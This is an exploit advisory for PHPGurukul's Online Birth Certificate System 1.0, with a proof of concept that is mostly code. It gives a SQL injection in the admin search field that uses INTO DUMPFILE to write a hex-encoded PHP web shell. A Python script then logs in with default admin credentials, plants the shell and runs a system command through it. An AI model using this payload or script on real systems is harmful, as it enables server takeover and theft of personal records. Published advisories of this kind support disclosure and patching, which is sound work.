Online Birth Certificate System 1.0 SQL Injection / Code Execution

`# Exploit Title: Online Birth Certificate System - RCE Through SQLi  
# Date: 2020-07-08  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=11466  
# Version: V1.0  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
Vulnerable File:  
----------------   
/admin/search.php   
  
  
Vulnerable Code:  
----------------  
line 145: $sdata=$_POST['searchdata'];  
  
  
Vulnerable Issue:  
-----------------  
line 145: $sdata=$_POST['searchdata']; has no proper sanitization  
  
POC:  
----  
[+] Inject the following payload inside the Search by Application Number  
  
-1' UNION ALL SELECT 0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO DUMPFILE 'C:/UwAmp/www/obcs/1.php'-- -  
  
  
Python Script POC:  
------------------  
  
import requests  
  
#this script is for POC purpose, you could add your own error checking mechanism  
  
username = "admin"  
password = "Test@123"  
webshellPayload = "0x3c3f7068702073797374656d28245f524551554553545b276768316d6175275d293b203f3e"  
path = "%27C%3A%2FUwAmp%2Fwww%2Fobcs%2F1.php%27"  
command = "whoami"  
  
print("[+] Stage 1 : Login as admin")  
  
url1 = "http://localhost:80/obcs/admin/login.php"  
  
  
payload1 = "username=" + username + "&password=" + password + "&login="  
headers1 = {  
"Origin": "http://localhost",   
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",   
"Connection": "close",   
"Referer": "http://localhost/obcs/admin/login.php",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5",   
"Content-Length": "41",   
"Content-Type": "application/x-www-form-urlencoded"  
}  
  
requests.request("POST", url1, data=payload1, headers=headers1)  
  
  
print("[+] Stage 2 : Injecting Web Shell")  
  
  
url2 = "http://localhost:80/obcs/admin/search.php"  
  
payload2 = "searchdata=-1%27+UNION+ALL+SELECT+" + webshellPayload + "%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL+INTO+DUMPFILE+" + path + "--+-&search="  
headers2 = {  
"Origin": "http://localhost",   
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",   
"Connection": "close",   
"Referer": "http://localhost/obcs/admin/search.php",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5",   
"Content-Length": "281",   
"Content-Type": "application/x-www-form-urlencoded"  
}  
  
requests.request("POST", url2, data=payload2, headers=headers2)  
  
print("[+] Stage 3 : Run command\n")  
  
url3 = "http://localhost:80/obcs/1.php?gh1mau=" + command  
  
payload3 = ""  
headers3 = {  
"Cookie": "PHPSESSID=aqpbbqu79id0lv1a26sar7f084",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",   
"Connection": "close",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5"  
}  
  
response = requests.request("GET", url3, data=payload3, headers=headers3)  
  
print(response.text)  
`